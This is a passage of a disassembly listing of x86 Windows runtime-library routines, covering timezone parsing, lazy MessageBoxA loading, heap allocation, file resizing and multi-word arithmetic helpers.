loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2890AF8h
		nop
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25E0AFDh
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB560, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB560

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4A8, ebp
		mov	dword_43CD50, ebx
		mov	dword_43CD40, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4B0
		call	near ptr 2850000h
		nop
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4B0
		mov	ecx, dword_4DB504
		imul	eax, 3Ch
		cmp	word_4DB4F6, bp
		push	1
		pop	edx
		mov	dword_43CCA8, eax
		mov	dword_4DB4A8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCA8, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB54A, bp
		jz	short loc_424887
		mov	eax, dword_4DB558
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCAC, edx
		imul	eax, 3Ch
		mov	dword_43CCB0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCAC, ebp
		mov	dword_43CCB0, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD34
		push	ebx
		push	offset dword_4DB4B4
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD34
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD34
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD38
		push	ebx
		push	offset dword_4DB508
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD38
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB55C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB55C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB55C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD34
		call	sub_41B5F0
		mov	eax, off_43CD34
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCA8, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCA8, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCAC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD38
		call	sub_41B5F0
		mov	eax, off_43CD38
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD38
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCAC, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD40
		jnz	short loc_424A7C
		cmp	eax, dword_43CD50
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4A8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB556
		push	ecx
		cmp	word_4DB548, di
		movzx	ecx, word_4DB554
		push	ecx
		movzx	ecx, word_4DB552
		push	ecx
		movzx	ecx, word_4DB550
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB54C
		push	edi
		push	ecx
		movzx	ecx, word_4DB54E
		push	ecx
		movzx	ecx, word_4DB54A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB54E
		push	ecx
		push	edi
		movzx	ecx, word_4DB54A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB502
		add	esp, 2Ch
		cmp	word_4DB4F4, di
		push	eax
		movzx	eax, word_4DB500
		push	eax
		movzx	eax, word_4DB4FE
		push	eax
		movzx	eax, word_4DB4FC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB4F8
		push	edi
		push	eax
		movzx	eax, word_4DB4FA
		push	eax
		movzx	eax, word_4DB4F6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB4FA
		push	eax
		push	edi
		movzx	eax, word_4DB4F6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD44
		mov	eax, dword_43CD54
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD48
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD58
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD58[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CD8C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD5C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CD90[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD58[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CD8C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD40, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD48, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD54, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCB0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD58, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD58, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD58, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD54, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD50, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC7E1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C302[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB564, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690CB0h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB564, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB568, eax
		call	esi
		mov	dword_4DB56C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB568
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB56C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB564


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC900
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C2F4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB2FC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5A0, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB598
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB598
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC6C0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB27C, 5
		jnz	short loc_424FDC
		mov	dword_4DB278, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		call	near ptr 25E0000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB278, 0Dh
		nop
		call	near ptr 2680000h
		mov	dword_4DB27C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB278, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
